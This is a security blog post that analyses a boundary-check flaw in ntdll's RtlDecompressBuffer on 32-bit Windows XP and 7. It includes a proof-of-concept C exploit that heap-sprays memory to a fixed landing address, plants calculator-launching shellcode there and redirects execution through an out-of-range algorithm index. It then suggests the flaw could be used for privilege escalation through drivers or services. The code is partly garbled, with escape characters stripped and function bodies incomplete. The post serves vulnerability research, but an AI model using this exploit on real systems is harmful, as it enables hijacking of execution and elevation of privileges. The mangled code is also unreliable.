RtlDecompresBuffer vulnerability

The RtlDecompressBuffer is a WinAPI implemented on ntdll that is often used by browsers and applications and also by malware to decompress buffers compressed on LZ algorithms for example LZNT1.

The first parameter of this function is a number that represents the algorithm to use in the decompression, for example the 2 is the LZNT1. This algorithm switch is implemented as a callback table with the pointers to the algorithms, so the boundaries of this table must be controlled for avoiding situations where the execution flow is redirected to unexpected places, specially controlled heap maps.

The algorithms callback table

Notice the five nops at the end probably for adding new algorithms in the future.

The way to jump to this pointers depending on the algorithm number is:
call RtlDecompressBufferProcs[eax*4]

The bounrady checks

We control eax because is the algorithm number, but the value of eax is limited, let’s see the boudary checks:

int  RtlDecompressBuffer(unsigned __int8 algorithm, int a2, int a3, int a4, int a5, int a6)
int result; // eax@4

if ( algorithm & algorithm != 1 )
if ( algorithm & 0xF0 )
result = -1073741217;
result = ((int (__stdcall *)(int, int, int, int, int))RtlDecompressBufferProcs[algorithm])(a2, a3, a4, a5, a6);
result = -1073741811;
return result;

Regarding that decompilation seems that we can only select algorithm number from 2 to 15, regarding that  the algorithm 9 is allowed and will jump to 0x90909090, but we can’t control that addess.

let’s check the disassembly on Win7 32bits:

  • the movzx limits the boundaries to 16bits
  • the test ax, ax avoids the algorithm 0
  • the cmp ax, 1 avoids the algorithm 1
  • the test al, 0F0h limits the boundary .. wait .. al?

Let’s calc the max two bytes number that bypass the test al, F0h

unsigned int max(void) {
        __asm__(“xorl %eax, %eax”);
        __asm__(“movb $0xff, %ah”);
        __asm__(“movb $0xf0, %al”);

int main(void) {
        printf(“max: %un”, max());

The value is 65520, but the fact is that is simpler than that, what happens if we put the algorithm number 9? 
So if we control the algorithm number we can redirect the execution flow to 0x55ff8890 which can be mapped via spraying.
Proof of concept
This exploit code, tells to the RtlDecompresBuffer to redirect the execution flow to the address 0x55ff8890 where is a map with the shellcode. To reach this address the heap is sprayed creating one Mb chunks to reach this address.
The result on WinXP:
The result on Win7 32bits:

And the exploit code:
ntdll!RtlDecompressBuffer() vtable exploit + heap spray
by @sha0coder



#define KB 1024
#define MB 1024*KB
#define BLK_SZ 4096
#define ALLOC 200

// WinXP Calc shellcode from http://shell-storm.org/shellcode/files/shellcode-567.php
unsigned char shellcode[] = "xeBx02xBAxC7x93"

// https://packetstormsecurity.com/files/102847/All-Windows-Null-Free-CreateProcessA-Calc-Shellcode.html
char *shellcode =

PUCHAR landing_ptr = (PUCHAR)0x55ff8b90; // valid for Win7 and WinXP 32bits

void fail(const char *msg) {
printf("%snn", msg);

PUCHAR spray(HANDLE heap) {
PUCHAR map = 0;

printf("Spraying ...n");
printf("Aproximating to %pn", landing_ptr);

while (map < landing_ptr-1*MB) {
map = HeapAlloc(heap, 0, 1*MB);

//map = HeapAlloc(heap, 0, 1*MB);

printf("Aproximated to [%x - %x]n", map, map+1*MB);

printf("Landing adddr: %xn", landing_ptr);
printf("Offset of landing adddr: %dn", landing_ptr-map);

return map;

void landing_sigtrap(int num_of_traps) {
memset(landing_ptr, 0xcc, num_of_traps);

void copy_shellcode(void) {
memcpy(landing_ptr, shellcode, strlen(shellcode));


int main(int argc, char **argv) {
FARPROC RtlDecompressBuffer;
HANDLE heap;
PUCHAR compressed, uncompressed;
ULONG compressed_sz, uncompressed_sz, estimated_uncompressed_sz;

RtlDecompressBuffer = GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlDecompressBuffer");

heap = GetProcessHeap();

compressed_sz = estimated_uncompressed_sz = 1*KB;

compressed = HeapAlloc(heap, 0, compressed_sz);

uncompressed = HeapAlloc(heap, 0, estimated_uncompressed_sz);

printf("Landing ...n");

ntStat = RtlDecompressBuffer(MAGIC_DECOMPRESSION_AGORITHM, uncompressed, estimated_uncompressed_sz, compressed, compressed_sz, &uncompressed_sz);

switch(ntStat) {
printf("decompression Ok!n");

printf("bad compression parametern");

printf("unsuported compressionn");

printf("Need more uncompressed buffern");

printf("weird decompression staten");


The attack vector

This API is called very often in the windows system, and also is called by browsers, but he attack vector is not common, because the apps that call this API trend to hard-code the algorithm number, so in a normal situation we don't control the algorithm number. But if there is a privileged application service or a driver that let to switch the algorithm number, via ioctl, config, etc. it can be used to elevate privileges on win7

By admin